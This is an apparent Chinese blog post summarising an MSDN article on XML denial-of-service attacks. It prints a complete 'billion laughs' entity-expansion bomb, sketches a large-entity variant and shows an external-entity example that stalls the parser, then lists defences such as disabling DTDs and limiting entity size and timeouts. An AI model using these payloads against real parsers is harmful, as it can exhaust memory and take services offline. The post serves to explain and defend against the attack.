• XML DOS 攻击


    内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

    DoS(Denial of service:拒绝服务)攻击由来已久(1992),比SQL注入(1998),跨站脚本(1995),CSRF(1994)都要早。

    DoS攻击非常简单有效。最早的DoS攻击使用TCP SYN洪泛攻击,现代的服务器软硬件大多已经抵御了此类攻击。http://baike.baidu.com/link?url=v24lBbsdB0TjV1y6qwL1cF9cOygTGg9AesHna4S7PwOcwa7F7k2_Js07jqwfEQNgkGLSFMm3xpoAKz1o2thnHq
    http://blog.csdn.net/jiangzhengdong/article/details/8119223
    新的DoS攻击转向应用层,比如基于XML的DoS攻击。

    XML炸弹
    XML document type definition (DTD)可以定义entity,DTD可以出现在外部文件或文件内部。
    利用DTD可以产生XML炸弹,也就是能迅速占用大量内存的文件,如下为例:
    当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

    还有一种,虽然扩展率没那么大,也很有效。200K的能够扩展到2.5G。

    <?xml version="1.0"?>
    <!DOCTYPE kaboom [
    <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
    ]>
    <kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

    外部实体攻击

    DTD也可以引用外部的实体链接。

    <!ENTITY stockprice SYSTEM "http://www.contoso.com/currentstockprice.ashx">

    如果遇到这种实体stockprice,永不返回,那么XML解析也就会超时了。但更好的攻击是开始返回无限长的字符串,耗尽资源。

    防御XML炸弹
    禁止DTD

    防御外部实体攻击
    限制每个实体的最大长度
    限制超时

  • 相关阅读:
    ModbusTCP_Server之FB的建立
    ModbusTCP_Client之FB的建立
    ModbusRTU_Slave之FB的建立
    ModbusRTU_Master之FB的建立
    外部模式启动程序
    配方Recipes的程序实现过程
    socket通信实现程序
    面试题37:序列化二叉树(C++)
    面试题36:二叉搜索树与双向链表(C++)
    面试题31:栈的压入、弹出序列(C++)
  • 原文地址:https://www.cnblogs.com/lautsie/p/3796244.html
Copyright © 2020-2023  润新知